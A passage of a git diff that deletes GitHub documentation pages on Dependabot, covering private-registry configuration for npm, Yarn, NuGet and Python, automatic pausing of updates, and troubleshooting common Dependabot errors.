- ```xml - <project> - ... - <repositories> - <repository> - <id>central</id> - <name>your custom repo</name> - <url>https://private_registry_url</url> - </repository> - ... - </project> - ``` - -## Node - -### npm - -To configure the npm ecosystem to only access private registries, you can use these configuration methods. - -**Option 1** - -Define the private registry configuration in a `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -> [!NOTE] -> Remove `replaces-base: true` from the configuration file. - -The npm ecosystem additionally requires a `.npmrc` file with the private registry URL to be checked into the repository. - - ```yaml copy - registry=https://private_registry_url - ``` - -**Option 2** - -If there is no global registry defined in an `.npmrc` file, you can set `replaces-base` as `true` in the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -> [!NOTE] -> For scoped dependencies (`@my-org/my-dep`), {% data variables.product.prodname_dependabot %} requires that the private registry is defined in the project's `.npmrc` file. To define private registries for individual scopes, use `@myscope:registry=https://private_registry_url`. - -### Yarn - -Yarn Classic and Yarn Berry private registries are both supported by {% data variables.product.prodname_dependabot %}, but {% data variables.product.prodname_dependabot %} requires a different configuration for each ecosystem to access only private registries. - -#### Yarn Classic - -To configure the Yarn Classic ecosystem to only access private registries, you can use these configuration methods. - -**Option 1** - -Define the private registry configuration in a `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -> [!NOTE] -> Delete `replaces-base: true` from the configuration file. - -To ensure the private registry is listed as the dependency source in the project's `yarn.lock` file, run `yarn install` on a machine with private registry access. Yarn should update the `resolved` field to include the private registry URL. - -```yaml copy -encoding@^0.1.11: - version "0.1.13" - resolved "https://private_registry_url/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9" - integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A== - dependencies: - iconv-lite "^0.6.2" -``` - -**Option 2** - -If the `yarn.lock` file doesn't list the private registry as the dependency source, you can set up Yarn Classic according to the normal package manager instructions: - 1. Define the private registry configuration in a `dependabot.yml` file - 1. Add the registry to a `.yarnrc` file in the project root with the key registry. Alternatively run `yarn config set registry <private registry URL>`. - - ```yaml copy - registry https://private_registry_url - ``` - -**Option 3** - -If there is no global registry defined in a `.yarnrc` file, you can set `replaces-base` as `true` in the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -> [!NOTE] -> For scoped dependencies (`@my-org/my-dep`), {% data variables.product.prodname_dependabot %} requires that the private registry is defined in the project's `.npmrc` file. To define private registries for individual scopes, use `@myscope:registry=https://private_registry_url`. - -#### Yarn Berry - -To configure the Yarn Berry ecosystem to only access private registries, you can use these configuration methods. - -**Option 1** - -Define the private registry configuration in a `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -> [!NOTE] -> Delete `replaces-base: true` from the configuration file. - -To ensure the private registry is listed as the dependency source in the project's `yarn.lock` file, run `yarn install` on a machine with private registry access. Yarn should update the `resolved` field to include the private registry URL. - -{% raw %} - -```yaml copy -encoding@^0.1.11: - version "0.1.13" - resolved "https://private_registry_url/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9" - integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A== - dependencies: - iconv-lite "^0.6.2" -``` - -{% endraw %} - -**Option 2** - -If the `yarn.lock` file doesn't list the private registry as the dependency source, you can set up Yarn Berry according to the normal package manager instructions: - 1. Define the private registry configuration in a `dependabot.yml` file - 1. Add the registry to a `.yarnrc.yml` file in the project root with the key `npmRegistryServer`. Alternatively run `yarn config set npmRegistryServer <private registry URL>`. - ``` - npmRegistryServer: "https://private_registry_url" - ``` - -> [!NOTE] -> For scoped dependencies (`@my-org/my-dep`), {% data variables.product.prodname_dependabot %} requires that the private registry is defined in the project's `.yarnrc` file. To define private registries for individual scopes, use `"@myscope:registry" "https://private_registry_url"`. - -## NuGet - -To allow the NuGet ecosystem to only access private registries, you can configure the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#nuget-feed). - -The NuGet ecosystem additionally requires a `nuget.config` file to be checked into the repository, with either a `< clear />` tag in `<packageSources>` section or a key `nuget.org` as true in the `disabledPackageSources` section of the `nuget.config` file. - -This is an example of a `< clear />` tag in the `packageSources` section of the `nuget.config`. - -```xml -<?xml version="1.0" encoding="utf-8"?> -<configuration> - <packageSources> - < clear /> - <add key="example-nuget" value="https://private_registry_url/nuget/example-nuget/index.json" /> - </packageSources> -</configuration> -``` - -This is an example of adding key `nuget.org` as true to the `disabledPackageSources` section of the `nuget.config` - -```xml -<?xml version="1.0" encoding="utf-8"?> -<configuration> - <packageSources> - <add key="example-nuget" value="https://private_registry_url/nuget/example-nuget/index.json" /> - </packageSources> - <disabledPackageSources> - <add key="nuget.org" value="true" /> - </disabledPackageSources> -</configuration> -``` - -To configure {% data variables.product.prodname_dependabot %} to access both private _and_ public feeds, view the following `dependabot.yml` example which includes the configured `public` feed under `registries`: - -```yaml copy -version: 2 -registries: - nuget-example: - type: nuget-feed - url: https://nuget.example.com/v3/index.json - username: ${{ secrets.USERNAME }} - password: ${{ secrets.PASSWORD }} - public: - type: nuget-feed - url: https://api.nuget.org/v3/index.json -updates: - - package-ecosystem: nuget - directory: "/" - registries: "*" - schedule: - interval: daily -``` - -## Python - -Pip, Pip-compile, Pipenv, and Poetry are the four package managers that the Python ecosystem currently supports. - -### Pip - -To configure the Pip ecosystem to only access private registries, you can use these configuration methods. - -**Option 1** - -Define the private registry configuration in a `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -> [!NOTE] -> Delete `replaces-base: true` from the configuration file. - -Add the private registry URL to the `[global]` section of the `pip.conf` file and check the file into the repository. - - ```yaml copy - [global] - timeout = 60 - index-url = https://private_registry_url - ``` - -**Option 2** - -Set `replaces-base` as `true` in the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#python-index). - -### Pip-compile - -To configure the Pip-compile ecosystem to only access private registries, you can use these configuration methods. - -**Option 1** - -Set `replaces-base` as `true` in the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#python-index). - -**Option 2** - -Define the private registry configuration in a `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#npm-registry). - -> [!NOTE] -> Delete `replaces-base: true` from the configuration file. - -Add the private registry URL to the `requirements.txt` file and check the file into the repository. - -```yaml copy ---index-url https://private_registry_url -``` - -### Pipenv - -To configure Pipenv to only access private registries, remove `replaces-base` from the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#python-index). - -> [!NOTE] -> Delete `replaces-base: true` from the configuration file. - -Add the private registry URL to the `[[source]]` section of the `Pipfile` file and check the file into the repository. - -```yaml copy -[[source]] -url = "https://private_registry_url" -verify_ssl = true -name = "pypi" -``` - -### Poetry - -To configure Poetry to only access private registries, set `replaces-base` as `true` in the `dependabot.yml` file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#python-index). - -Add the private registry url to the `[[tool.poetry.source]]` section of the `pyproject.toml` file and checked it in the repository. - -```yaml copy -[[tool.poetry.source]] -name = "private" -url = "https://private_registry_url" -default = true -``` diff --git a/content/code-security/dependabot/troubleshooting-dependabot/dependabot-updates-stopped.md b/content/code-security/dependabot/troubleshooting-dependabot/dependabot-updates-stopped.md deleted file mode 100644 index 3216e814f667..000000000000 --- a/content/code-security/dependabot/troubleshooting-dependabot/dependabot-updates-stopped.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Dependabot update pull requests no longer generated -intro: '{% data variables.product.prodname_dependabot %} can pause updates based on your interaction with {% data variables.product.prodname_dependabot %} pull requests. Learn more about the automatic deactivation of {% data variables.product.prodname_dependabot_updates %}.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Version updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Dependabot stopped working ---- - -* When maintainers of a repository stop interacting with {% data variables.product.prodname_dependabot %} pull requests, {% data variables.product.prodname_dependabot %} temporarily pauses its updates and lets you know. - -* {% data variables.product.prodname_dependabot %} stops rebasing pull requests for version and security updates after 30 days, reducing notifications for inactive {% data variables.product.prodname_dependabot %} pull requests. - -## About automatic deactivation of {% data variables.product.prodname_dependabot_updates %} - -{% data variables.product.prodname_dependabot %} pauses updates on your repositories, based on your interaction with pull requests from {% data variables.product.prodname_dependabot_updates %}. When {% data variables.product.prodname_dependabot %} automatically deactivates {% data variables.product.prodname_dependabot_updates %}, there is: - -* No creation of pull requests for version and security updates. -* No rebasing of {% data variables.product.prodname_dependabot %} pull requests for inactive repositories. - ->[!NOTE] The automatic deactivation of {% data variables.product.prodname_dependabot %} updates only applies to repositories where {% data variables.product.prodname_dependabot %} has opened pull requests but the pull requests remain untouched. If {% data variables.product.prodname_dependabot %} hasn't opened any pull requests, {% data variables.product.prodname_dependabot %} will never become paused. - -An active repository is a repository where a user (**not** {% data variables.product.prodname_dependabot %}) has taken **any** of the following actions in the last 90 days: - -* Merged or closed a {% data variables.product.prodname_dependabot %} pull request on the repository. -* Made a change to the `dependabot.yml` file for the repository. -* Manually triggered a security update or a version update. -* Enabled {% data variables.product.prodname_dependabot_security_updates %} for the repository. -* Used `@dependabot` commands on pull requests. - -An inactive repository is a repository: - -* That has at least one {% data variables.product.prodname_dependabot %} pull request open for more than 90 days, -* That has been enabled for the full period, and -* Where none of the actions listed above has been taken by a user. - -## How to know if {% data variables.product.prodname_dependabot_updates %} are paused - -When {% data variables.product.prodname_dependabot %} is paused, {% data variables.product.github %} adds a banner notice: -* To all open {% data variables.product.prodname_dependabot %} pull requests. -* To the UI of the **Settings** tab of the repository (under **{% data variables.product.UI_advanced_security %}**, then **{% data variables.product.prodname_dependabot %}**). -* To the list of {% data variables.product.prodname_dependabot_alerts %} (if {% data variables.product.prodname_dependabot_security_updates %} are affected). - -{% ifversion dependabot-updates-paused-enterprise-orgs %} Additionally, you will be able to see whether {% data variables.product.prodname_dependabot %} is paused at the organization level in the security overview. The `paused` status will also be visible via the API. For more information, see [AUTOTITLE](/rest/repos#enable-automated-security-fixes).{% endif %} - -## About automatic reactivation of {% data variables.product.prodname_dependabot_updates %} - -As soon as someone interacts with a {% data variables.product.prodname_dependabot %} pull request again, {% data variables.product.prodname_dependabot %} will unpause itself: -* Security updates are automatically resumed for {% data variables.product.prodname_dependabot_alerts %}. -* Version updates are automatically resumed with the schedule specified in the `dependabot.yml` file. diff --git a/content/code-security/dependabot/troubleshooting-dependabot/index.md b/content/code-security/dependabot/troubleshooting-dependabot/index.md deleted file mode 100644 index 3ca1c139c11d..000000000000 --- a/content/code-security/dependabot/troubleshooting-dependabot/index.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Troubleshooting Dependabot -intro: 'If you have problems with {% data variables.product.prodname_dependabot %}, you can use tips in these articles to help resolve issues.' -allowTitleToDifferFromFilename: true -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Dependabot - - Dependencies - - Alerts - - Vulnerabilities - - Repositories -shortTitle: Troubleshoot Dependabot -children: - - /listing-dependencies-configured-for-version-updates - - /viewing-dependabot-job-logs - - /dependabot-updates-stopped - - /troubleshooting-dependabot-errors - - /troubleshooting-dependabot-on-github-actions - - /troubleshooting-the-detection-of-vulnerable-dependencies ---- diff --git a/content/code-security/dependabot/troubleshooting-dependabot/listing-dependencies-configured-for-version-updates.md b/content/code-security/dependabot/troubleshooting-dependabot/listing-dependencies-configured-for-version-updates.md deleted file mode 100644 index 59632c4d17ce..000000000000 --- a/content/code-security/dependabot/troubleshooting-dependabot/listing-dependencies-configured-for-version-updates.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Listing dependencies configured for version updates -intro: 'You can view the dependencies that {% data variables.product.prodname_dependabot %} monitors for updates.' -permissions: '{% data reusables.permissions.dependabot-yml-configure %}' -redirect_from: - - /github/administering-a-repository/listing-dependencies-configured-for-version-updates - - /code-security/supply-chain-security/listing-dependencies-configured-for-version-updates - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/listing-dependencies-configured-for-version-updates - - /code-security/dependabot/dependabot-version-updates/listing-dependencies-configured-for-version-updates -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Repositories - - Dependabot - - Version updates - - Dependencies -shortTitle: List configured dependencies ---- - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## Viewing dependencies monitored by {% data variables.product.prodname_dependabot %} - -After you've enabled version updates, you can confirm that your configuration is correct using the **{% data variables.product.prodname_dependabot %}** tab in the dependency graph for the repository. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -{% data reusables.repositories.click-dependency-graph %} -{% data reusables.dependabot.click-dependabot-tab %} -1. Optionally, to view the files monitored for a package manager, to the right of the package manager, click {% octicon "kebab-horizontal" aria-label="Show monitored" %}. - - ![Screenshot of the {% data variables.product.prodname_dependabot %} tab under "Insights". A dropdown menu, labeled with a kebab icon, is highlighted with an orange outline.](/assets/images/help/dependabot/monitored-dependency-files.png) - -If any dependencies are missing, check the log files for errors. If any package managers are missing, review the configuration file. - -For information about {% data variables.product.prodname_dependabot %} job logs, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/viewing-dependabot-job-logs). diff --git a/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors.md b/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors.md deleted file mode 100644 index 5822724f1eb0..000000000000 --- a/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors.md +++ /dev/null @@ -1,251 +0,0 @@ ---- -title: Troubleshooting Dependabot errors -intro: 'Sometimes {% data variables.product.prodname_dependabot %} is unable to raise a pull request to update your dependencies. You can review the error and unblock {% data variables.product.prodname_dependabot %}.' -shortTitle: Troubleshoot errors -redirect_from: - - /github/managing-security-vulnerabilities/troubleshooting-github-dependabot-errors - - /github/managing-security-vulnerabilities/troubleshooting-dependabot-errors - - /code-security/supply-chain-security/troubleshooting-dependabot-errors - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-dependabot-errors - - /code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Security updates - - Version updates - - Repositories - - Pull requests - - Troubleshooting - - Errors - - Dependencies ---- - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## About {% data variables.product.prodname_dependabot %} errors - -{% data reusables.dependabot.pull-request-introduction %} - -If anything prevents {% data variables.product.prodname_dependabot %} from raising a pull request, this is reported as an error. - -> [!NOTE] -> {% data variables.product.prodname_dependabot %} doesn't create pull requests for inactive repositories. For information about inactivity criteria, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates#about-automatic-deactivation-of-dependabot-updates) and [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates#about-automatic-deactivation-of-dependabot-updates), for security and version updates, respectively. - -{% ifversion dependabot-on-actions-opt-in %} -For more information about troubleshooting when running {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} runners, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners). - -{% endif %} - -## Investigating errors with {% data variables.product.prodname_dependabot_security_updates %} - -When {% data variables.product.prodname_dependabot %} is blocked from creating a pull request to fix a {% data variables.product.prodname_dependabot %} alert, it posts the error message on the alert. The {% data variables.product.prodname_dependabot_alerts %} view shows a list of any alerts that have not been resolved yet. To access the alerts view, click **{% data variables.product.prodname_dependabot_alerts %}** on the **Security** tab for the repository. Where a pull request that will fix the vulnerable dependency has been generated, the alert includes a link to that pull request. - -![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} view. To the right of one alert, a link to a pull request, titled "#353", is outlined in orange.](/assets/images/help/dependabot/dependabot-alert-pr-link.png) - -There are several reasons why an alert may have no pull request link: - -1. {% data variables.product.prodname_dependabot_security_updates %} are not enabled for the repository. -1. The alert is for an indirect or transitive dependency that is not explicitly defined in a lock file. -1. An error blocked {% data variables.product.prodname_dependabot %} from creating a pull request. - -If an error blocked {% data variables.product.prodname_dependabot %} from creating a pull request, you can display details of the error by clicking the alert. - -## Investigating errors with {% data variables.product.prodname_dependabot_version_updates %} - -When {% data variables.product.prodname_dependabot %} is blocked from creating a pull request to update a dependency in an ecosystem, you can view the job logs list to find out more about the error . - -{% data reusables.dependabot.dependabot-jobs-log-access %} - -To view the full logs files for a particular job, to the right of the log entry you are interested in, click **view logs**. - -![Screenshot of the Dependabot job log entries for a manifest file. A button, called "View logs", is highlighted in a dark orange outline.](/assets/images/help/dependabot/dependabot-job-log-error-message.png) - -For more information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/viewing-dependabot-job-logs). - -## Understanding {% data variables.product.prodname_dependabot %} errors - -Pull requests for security updates act to upgrade a vulnerable dependency to the minimum version that includes a fix for the vulnerability. In contrast, pull requests for version updates act to upgrade a dependency to the latest version allowed by the package manifest and {% data variables.product.prodname_dependabot %} configuration files. Consequently, some errors are specific to one type of update. - -### {% data variables.product.prodname_dependabot %} cannot update DEPENDENCY to a non-vulnerable version - -**Security updates only.** {% data variables.product.prodname_dependabot %} cannot create a pull request to update the vulnerable dependency to a secure version without breaking other dependencies in the dependency graph for this repository. - -Every application that has dependencies has a dependency graph, that is, a directed acyclic graph of every package version that the application directly or indirectly depends on. Every time a dependency is updated, this graph must resolve otherwise the application won't build. When an ecosystem has a deep and complex dependency graph, for example, npm and RubyGems, it is often impossible to upgrade a single dependency without upgrading the whole ecosystem. - -The best way to avoid this problem is to stay up to date with the most recently released versions, for example, by enabling version updates. This increases the likelihood that a vulnerability in one dependency can be resolved by a simple upgrade that doesn't break the dependency graph. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -### {% data variables.product.prodname_dependabot %} tries to update dependencies without an alert - -**Security updates only.** {% data variables.product.prodname_dependabot %} updates explicitly defined transitive dependencies that are vulnerable for all ecosystems. For npm, {% data variables.product.prodname_dependabot %} will raise a pull request that also updates the parent dependency if it's the only way to fix the transitive dependency. - -For example, a project with a dependency on `A` version `~2.0.0` which has a transitive dependency on `B` version `~1.0.0` which has resolved to `1.0.1`. - -```shell -my project -| ---> A (2.0.0) [~2.0.0] - | - --> B (1.0.1) [~1.0.0] -``` - -If a security vulnerability is released for `B` versions `<2.0.0` and a patch is available at `2.0.0` then {% data variables.product.prodname_dependabot %} will attempt to update `B` but will find that it's not possible due to the restriction in place by `A` which only allows lower vulnerable versions. To fix the vulnerability, {% data variables.product.prodname_dependabot %} will look for updates to dependency `A` which allow the fixed version of `B` to be used. - -{% data variables.product.prodname_dependabot %} automatically generates a pull request that upgrades both the locked parent and child transitive dependencies. - -### {% data variables.product.prodname_dependabot %} fails to close a open pull request for an update that has already been applied on the default branch - -{% data variables.product.prodname_dependabot %} will close pull requests for dependency updates, once it detects these updates have been committed to the default branch. However, in rare circumstances, the pull request may remain open. If you notice that you have committed an update to a dependency manually, and that the pull request for that same update is still open, you can use one of the following commands in a comment on the pull request: -* `@dependabot recreate`, or -* `@dependabot rebase`. - -Either comment will trigger {% data variables.product.prodname_dependabot %} to check if the dependency is no longer upgradable or vulnerable. If {% data variables.product.prodname_dependabot %} detects that the pull request is no longer required, it will close the pull request in this particular case. - -For more information about {% data variables.product.prodname_dependabot %} comment commands, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands). - -### {% data variables.product.prodname_dependabot %} cannot update to the required version as there is already an open pull request for the latest version - -**Security updates only.** {% data variables.product.prodname_dependabot %} will not create a pull request to update the vulnerable dependency to a secure version because there is already an open pull request to update this dependency. You will see this error when a vulnerability is detected in a single dependency and there's already an open pull request to update the dependency to the latest version. - -There are two options: you can review the open pull request and merge it as soon as you are confident that the change is safe, or close that pull request and trigger a new security update pull request. For more information, see [Triggering a {% data variables.product.prodname_dependabot %} pull request manually](#triggering-a-dependabot-pull-request-manually). - -### No security update is needed as DEPENDENCY is no longer vulnerable - -**Security updates only.** {% data variables.product.prodname_dependabot %} cannot close a pull request to update a dependency that is not, or is no longer, vulnerable. You may see this error when dependency graph data is stale, or when the dependency graph and {% data variables.product.prodname_dependabot %} do not agree if a particular version of a dependency is vulnerable. - -To debug the problem, we recommend you first examine the dependency graph for your repository, review what version it has detected for the dependency, and check if the identified version matches what is being used in your repository. - -If you suspect your dependency graph data is out of date, you may need to manually update the dependency graph for your repository or investigate your dependency information further. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph). - -If you are able to confirm the dependency version is no longer vulnerable, you can close the {% data variables.product.prodname_dependabot %} pull request. - -### {% data variables.product.prodname_dependabot %} timed out during its update - -{% data variables.product.prodname_dependabot %} took longer than the maximum time allowed to assess the update required and prepare a pull request. This error is usually seen only for large repositories with many manifest files, for example, npm or yarn monorepo projects with hundreds of _package.json_ files. Updates to the Composer ecosystem also take longer to assess and may time out. - -This error is difficult to address. If a version update times out, you could specify the most important dependencies to update using the `allow` parameter or, alternatively, use the `ignore` parameter to exclude some dependencies from updates. Updating your configuration might allow {% data variables.product.prodname_dependabot %} to review the version update and generate the pull request in the time available. - -If a security update times out, you can reduce the chances of this happening by keeping the dependencies updated, for example, by enabling version updates. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates). - -### {% data variables.product.prodname_dependabot %} cannot open any more pull requests - -There's a limit on the number of open pull requests {% data variables.product.prodname_dependabot %} will generate. When this limit is reached, no new pull requests are opened and this error is reported. The best way to resolve this error is to review and merge some of the open pull requests. - -There are separate limits for security and version update pull requests, so that open version update pull requests cannot block the creation of a security update pull request. The limit for security update pull requests is 10. By default, the limit for version updates is 5 but you can change this using the `open-pull-requests-limit` parameter in the configuration file. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#open-pull-requests-limit). - -The best way to resolve this error is to merge or close some of the existing pull requests and trigger a new pull request manually. For more information, see [Triggering a {% data variables.product.prodname_dependabot %} pull request manually](#triggering-a-dependabot-pull-request-manually). - -### {% data variables.product.prodname_dependabot %} can't resolve or access your dependencies - -If {% data variables.product.prodname_dependabot %} attempts to check whether dependency references need to be updated in a repository, but can't access one or more of the referenced files, the operation will fail with the error message "{% data variables.product.prodname_dependabot %} can't resolve your LANGUAGE dependency files." The API error type is `git_dependencies_not_reachable`. - -Similarly, if {% data variables.product.prodname_dependabot %} can't access a private package registry in which a dependency is located, one of the following errors is generated: - -* "Dependabot can't reach a dependency in a private package registry"<br> - (API error type: `private_source_not_reachable`) -* "Dependabot can't authenticate to a private package registry"<br> - (API error type:`private_source_authentication_failure`) -* "Dependabot timed out while waiting for a private package registry"<br> - (API error type:`private_source_timed_out`) -* "Dependabot couldn't validate the certificate for a private package registry"<br> - (API error type:`private_source_certificate_failure`) - -To allow {% data variables.product.prodname_dependabot %} to update the dependency references successfully, make sure that all of the referenced dependencies are hosted at accessible locations. - -**Version updates only.** {% data reusables.dependabot.private-dependencies-note %} Additionally, {% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. For more information, see [AUTOTITLE](/code-security/dependabot/ecosystems-supported-by-dependabot/supported-ecosystems-and-repositories). - -### {% data variables.product.prodname_dependabot %} fails to group a set of dependencies into a single pull request for {% data variables.product.prodname_dependabot_version_updates %} - -{% ifversion dependabot-grouped-security-updates-config %}The [`groups`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#groups) configuration settings in the `dependabot.yml` file can apply to version updates and security updates. Use the `applies-to` key to specify where (version updates or security updates) a set of grouping rules is applied. - -{% data reusables.dependabot.dependabot-grouped-updates-applies-to %}{% else %}{% data reusables.dependabot.dependabot-version-updates-groups-supported %}{% endif %} - -When you configure grouped version updates, you must configure groups per package ecosystem. To debug the problem, we recommend you look at the logs. For information about accessing the logs for a manifest, see [Investigating errors with {% data variables.product.prodname_dependabot_version_updates %}](#investigating-errors-with-dependabot-version-updates) above. - -You may have unintentionally created empty groups. This happens, for example, when you set a `dependency-type` in the `allow` key for the overall job. - -```yaml copy -allow: - dependency-type: production - # this restricts the entire job to production dependencies - groups: - development-dependencies: - dependency-type: "development" - # this group will always be empty -``` - -In this example, {% data variables.product.prodname_dependabot %} will: -1. Look at your dependency list and restrict the job to dependencies used in `production` only. -1. Try to create a group called `development-dependencies` which is a subset of this reduced list. -1. Work out that the `development-dependencies` group is empty as all `development` dependencies were removed in step 1. -1. **Individually** update all the dependencies that are not in the group. As the group for dependencies in production is empty, {% data variables.product.prodname_dependabot %} will ignore the group, and create a separate pull request for each dependency. - -You need to ensure that configuration settings don't cancel each other, and update them appropriately in your configuration file. - -For more information on how to configure groups for {% data variables.product.prodname_dependabot_version_updates %}, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#groups). - -{% ifversion dependabot-grouped-security-updates-config %} - -### {% data variables.product.prodname_dependabot %} fails to group a set of dependencies into a single pull request for {% data variables.product.prodname_dependabot_security_updates %} - -The [`groups`](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#groups) configuration settings in the `dependabot.yml` file can apply to version updates and security updates. Use the `applies-to` key to specify where (version updates or security updates) a set of grouping rules is applied. Check you have grouping configured to apply to security updates. If the `applies-to` key is absent from a set of grouping rules in your configuration, any group rules will by default only apply to version updates. - -{% data reusables.dependabot.dependabot-grouped-updates-applies-to %} - -For grouped security updates, {% data variables.product.prodname_dependabot %} uses the following guidelines to create grouped pull requests. - -* {% data variables.product.prodname_dependabot %} **will** group dependencies from the same package ecosystem that are located in different directories when grouping rules are specified for configurations that use the `directories` key. -* {% data variables.product.prodname_dependabot %} **will** apply other relevant customization options from the `dependabot.yml` file to pull requests for grouped security updates. {% data reusables.dependabot.dependabot-grouped-security-updates-yaml-override %} -* {% data variables.product.prodname_dependabot %} **will not** group dependencies from different package ecosystems together. -* {% data variables.product.prodname_dependabot %} **will not** group security updates with version updates. - -For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates#about-grouped-security-updates) and [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/customizing-dependabot-security-prs). - -{% endif %} - -### {% data variables.product.prodname_dependabot %} fails to update one of the dependencies in a grouped pull request - -{% ifversion dependabot-grouped-security-updates-config %}There are different troubleshooting techniques you can use for failed version updates and failed security updates. - -#### Handling failures in grouped version updates{% endif %} - -**Version updates only.** {% data variables.product.prodname_dependabot %} will show the failed update in your logs, as well as in the job summary at the end of your logs. You should use the `@dependabot recreate` comment on the pull request to build the group again. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands). - -If the dependency still fails to update, you should use the `exclude-patterns` configuration so that the dependency is excluded from the group. {% data variables.product.prodname_dependabot %} will then raise a separate pull request to update the dependency. - -If the dependency still fails to update, there may be a problem with the dependency itself, or with {% data variables.product.prodname_dependabot %} for that specific ecosystem. - -{% data reusables.dependabot.dependabot-ignore-dependencies %} - -{% ifversion dependabot-grouped-security-updates-config %} - -#### Handling failures in grouped security updates - -**Security updates only.** If a grouped pull request for security updates fails or is unable to be merged, we recommend you manually open pull requests to bump the versions of breaking changes. When you manually update a package that is included in a grouped pull request, {% data variables.product.prodname_dependabot %} will rebase the pull request so it does not include the manually updated package. - -{% data reusables.dependabot.dependabot-ignore-dependencies %} - -{% endif %} - -### Continuous integration (CI) fails on my grouped pull request - -**Version updates only.** If the failure is due to a single dependency, you should use the `exclude-patterns` configuration so that the dependency is excluded from the group. {% data variables.product.prodname_dependabot %} will then raise a separate pull request to update the dependency. - -{% data reusables.dependabot.dependabot-ignore-dependencies %} - -If you continue to see CI failures, you should remove the group configuration so that {% data variables.product.prodname_dependabot %} reverts to raising individual pull requests for each dependency. Then, you should check and confirm that the update works correctly for each individual pull request. - -## Triggering a {% data variables.product.prodname_dependabot %} pull request manually - -If you unblock {% data variables.product.prodname_dependabot %}, you can manually trigger a fresh attempt to create a pull request. - -* **Security updates:** Display the {% data variables.product.prodname_dependabot %} alert that shows the error you have fixed and click **Create {% data variables.product.prodname_dependabot %} security update**. -* **Version updates:** On the **Insights** tab for the repository click **Dependency graph**, and then click the **Dependabot** tab. Click **Last checked _TIME_ ago** to see the log file that {% data variables.product.prodname_dependabot %} generated during the last check for version updates. Click **Check for updates**. - -## Further reading - -* 